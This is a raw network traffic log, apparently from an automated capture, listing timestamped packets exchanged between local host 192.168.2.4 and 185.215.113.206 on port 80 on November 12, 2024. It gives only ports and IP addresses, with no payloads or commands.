Nov 12, 2024 15:41:19.403275967 CET	49751	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:19.403278112 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:19.403301001 CET	49751	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:19.403321028 CET	49751	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:19.403367996 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:19.403388977 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:19.403399944 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:19.403409958 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:19.403420925 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:19.403422117 CET	49751	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:19.403434992 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:19.403445005 CET	49751	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:19.403446913 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:19.403460026 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:19.403470039 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:19.403471947 CET	49751	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:19.403493881 CET	49751	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:19.403510094 CET	49751	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:19.403676987 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:19.403690100 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:19.403701067 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:19.403712034 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:19.403722048 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:19.403723001 CET	49751	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:19.403733015 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:19.403743982 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:19.403747082 CET	49751	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:19.403769970 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:19.403774977 CET	49751	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:19.403783083 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:19.403783083 CET	49751	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:19.403795958 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:19.403806925 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:19.403809071 CET	49751	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:19.403819084 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:19.403830051 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:19.403837919 CET	49751	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:19.403844118 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:19.403861046 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:19.403872967 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:19.403876066 CET	49751	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:19.403882980 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:19.403892994 CET	49751	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:19.403893948 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:19.403901100 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:19.403904915 CET	49751	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:19.403908014 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:19.403934002 CET	49751	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:19.403959036 CET	49751	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:19.404122114 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:19.404133081 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:19.404144049 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:19.404155016 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:19.404165983 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:19.404171944 CET	49751	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:19.404194117 CET	49751	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:19.404203892 CET	49751	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:19.404232979 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:19.404243946 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:19.404253960 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:19.404268026 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:19.404278040 CET	49751	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:19.404303074 CET	49751	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:19.404469013 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:19.404481888 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:19.404491901 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:19.404503107 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:19.404515028 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:19.404524088 CET	49751	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:19.404526949 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:19.404541016 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:19.404542923 CET	49751	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:19.404556036 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:19.404561996 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:19.404561996 CET	49751	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:19.404566050 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:19.404578924 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:19.404580116 CET	49751	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:19.404588938 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:19.404599905 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:19.404611111 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:19.404614925 CET	49751	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:19.404622078 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:19.404644012 CET	49751	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:19.404659986 CET	49751	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:19.404804945 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:19.404807091 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:19.404812098 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:19.404819012 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:19.404824018 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:19.404829979 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:19.404834986 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:19.404839993 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:19.404845953 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:19.404851913 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:19.404860973 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:19.404871941 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:19.404884100 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:19.404892921 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:19.404905081 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:19.404917955 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:19.404928923 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:19.404941082 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:19.404943943 CET	49751	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:19.404980898 CET	49751	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:19.405122042 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:19.405134916 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:19.405144930 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:19.405155897 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:19.405168056 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:19.405174971 CET	49751	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:19.405179024 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:19.405186892 CET	49751	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:19.405200005 CET	49751	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:19.405230999 CET	49751	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:19.405247927 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:19.405258894 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:19.405268908 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:19.405292988 CET	49751	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:19.405303955 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:19.405314922 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:19.405319929 CET	49751	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:19.405324936 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:19.405339003 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:19.405339003 CET	49751	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:19.405352116 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:19.405358076 CET	49751	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:19.405383110 CET	49751	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:19.405405045 CET	49751	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:19.405430079 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:19.405441999 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:19.405466080 CET	49751	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:19.405474901 CET	49751	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:19.405555964 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:19.405689955 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:19.405731916 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:19.405735016 CET	49751	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:19.405745029 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:19.405786037 CET	49751	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:19.405814886 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:19.405827045 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:19.405837059 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:19.405849934 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:19.405850887 CET	49751	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:19.405860901 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:19.405874968 CET	49751	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:19.405889988 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:19.405900002 CET	49751	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:19.405927896 CET	49751	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:19.406148911 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:19.406161070 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:19.406172037 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:19.406183958 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:19.406192064 CET	49751	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:19.406219006 CET	49751	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:19.406255007 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:19.406265974 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:19.406282902 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:19.406294107 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:19.406301975 CET	49751	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:19.406328917 CET	49751	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:19.406332970 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:19.406344891 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:19.406378984 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:19.406387091 CET	49751	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:19.406389952 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:19.406416893 CET	49751	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:19.406434059 CET	49751	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:19.406455994 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:19.406469107 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:19.406480074 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:19.406491041 CET	49751	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:19.406506062 CET	49751	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:19.406524897 CET	49751	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:19.407572031 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:19.407583952 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:19.407620907 CET	49751	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:19.416894913 CET	49755	443	192.168.2.4	52.149.20.212
Nov 12, 2024 15:41:19.416927099 CET	443	49755	52.149.20.212	192.168.2.4
Nov 12, 2024 15:41:19.521512985 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:19.521541119 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:19.521553040 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:19.521575928 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:19.521589994 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:19.521593094 CET	49751	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:19.521601915 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:19.521620989 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:19.521632910 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:19.521640062 CET	49751	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:19.521640062 CET	49751	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:19.521653891 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:19.521661043 CET	49751	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:19.521661043 CET	49751	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:19.521666050 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:19.521673918 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:19.521684885 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:19.521691084 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:19.521702051 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:19.521709919 CET	49751	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:19.521714926 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:19.521728039 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:19.521739960 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:19.521744967 CET	49751	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:19.521744967 CET	49751	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:19.521749973 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:19.521766901 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:19.521766901 CET	49751	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:19.521780968 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:19.521791935 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:19.521797895 CET	49751	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:19.521797895 CET	49751	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:19.521804094 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:19.521826982 CET	49751	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:19.521833897 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:19.521846056 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:19.521856070 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:19.521864891 CET	49751	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:19.521879911 CET	49751	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:19.521899939 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:19.521903992 CET	49751	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:19.521920919 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:19.521945000 CET	49751	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:19.521945000 CET	49751	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:19.522001028 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:19.522017002 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:19.522028923 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:19.522041082 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:19.522044897 CET	49751	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:19.522044897 CET	49751	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:19.522053957 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:19.522072077 CET	49751	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:19.522089005 CET	49751	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:19.522104025 CET	49751	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:19.522124052 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:19.522135973 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:19.522145987 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:19.522161007 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:19.522164106 CET	49751	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:19.522172928 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:19.522197008 CET	49751	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:19.522239923 CET	49751	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:19.522243977 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:19.522255898 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:19.522268057 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:19.522279978 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:19.522285938 CET	49751	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:19.522294044 CET	49751	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:19.522315025 CET	49751	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:19.522406101 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:19.522420883 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:19.522439957 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:19.522444963 CET	49751	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:19.522453070 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:19.522465944 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:19.522476912 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:19.522488117 CET	49751	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:19.522488117 CET	49751	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:19.522489071 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:19.522501945 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:19.522506952 CET	49751	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:19.522519112 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:19.522532940 CET	49751	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:19.522541046 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:19.522552967 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:19.522562981 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:19.522579908 CET	49751	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:19.522579908 CET	49751	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:19.522605896 CET	49751	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:19.522624969 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:19.522639036 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:19.522649050 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:19.522660971 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:19.522666931 CET	49751	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:19.522672892 CET	49751	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:19.522672892 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:19.522691011 CET	49751	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:19.522717953 CET	49751	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:19.522814989 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:19.522828102 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:19.522838116 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:19.522850037 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:19.522855997 CET	49751	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:19.522861958 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:19.522862911 CET	49751	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:19.522871971 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:19.522883892 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:19.522886992 CET	49751	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:19.522896051 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:19.522905111 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:19.522912025 CET	49751	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:19.522914886 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:19.522928953 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:19.522931099 CET	49751	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:19.522942066 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:19.522950888 CET	49751	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:19.522965908 CET	49751	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:19.522989035 CET	49751	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:19.523116112 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:19.523128986 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:19.523139000 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:19.523149967 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:19.523154974 CET	49751	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:19.523161888 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:19.523164988 CET	49751	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:19.523174047 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:19.523180008 CET	49751	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:19.523184061 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:19.523196936 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:19.523207903 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:19.523217916 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:19.523227930 CET	49751	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:19.523230076 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:19.523235083 CET	49751	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:19.523241043 CET	49751	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:19.523247004 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:19.523271084 CET	49751	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:19.523293018 CET	49751	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:19.523366928 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:19.523377895 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:19.523400068 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:19.523410082 CET	49751	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:19.523411989 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:19.523426056 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:19.523436069 CET	49751	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:19.523442984 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:19.523454905 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:19.523464918 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:19.523468971 CET	49751	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:19.523484945 CET	49751	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:19.523500919 CET	49751	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:19.526458979 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:19.526469946 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:19.526479959 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:19.526489973 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:19.526500940 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:19.526511908 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:19.526518106 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:19.526525974 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:19.526535034 CET	49751	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:19.526539087 CET	80	49751	185.215.113.206	192.168.2.4
